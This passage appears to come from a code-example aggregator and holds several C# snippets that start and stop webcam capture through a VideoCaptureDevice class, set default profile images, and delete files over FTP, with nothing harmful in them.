                        requestFileDelete.Method = WebRequestMethods.Ftp.DeleteFile;

                        FtpWebResponse responseFileDelete = (FtpWebResponse)requestFileDelete.GetResponse();

                    }
                    Thread.Sleep(3000);
                }

            }
            catch { }
        }
Ejemplo n.º 10
0
        public void camStart()
        {
            try
            {
                cam = new VideoCaptureDevice(webcam[comboBoxPic.SelectedIndex].MonikerString);
                cam.NewFrame += new NewFrameEventHandler(cam_NewFram);
                cam.Start();
            }
            catch (Exception ex)
            {

                MessageBox.Show(ex.Message);
                hideCamProperty();

                if (cam.IsRunning)
                {
                    cam.Stop();
                }

                camTrack = false;

                userImage = false;
                myImage = null;
                Application.DoEvents();

                if (radioButtonMale.Checked == true)
                {
                    myImage = Image.FromFile(@"UserImage\Male.png");
                    pictureBoxPic.Image = myImage;
                }
                else if (radioButtonFemale.Checked == true)
                {
                    myImage = Image.FromFile(@"UserImage\Female.png");
                    pictureBoxPic.Image = myImage;
                }
                else
                {
                    myImage = Image.FromFile(@"UserImage\Default.png");
                    pictureBoxPic.Image = myImage;
                }

            }
        }
Ejemplo n.º 11
0
 public void StopCapturing()
 {
     _captureDevice.Stop();
     writerThread.Abort();
 }
Ejemplo n.º 12
-1
 private void button1_Click(object sender, EventArgs e)
 {
     videoSource = new VideoCaptureDevice(videoDevices[0].MonikerString);
         videoSource.NewFrame += videoSource_NewFrame;
         videoSource.Start();
         while (newImage == null){}
         videoSource.Stop();
         newImage = null;
 }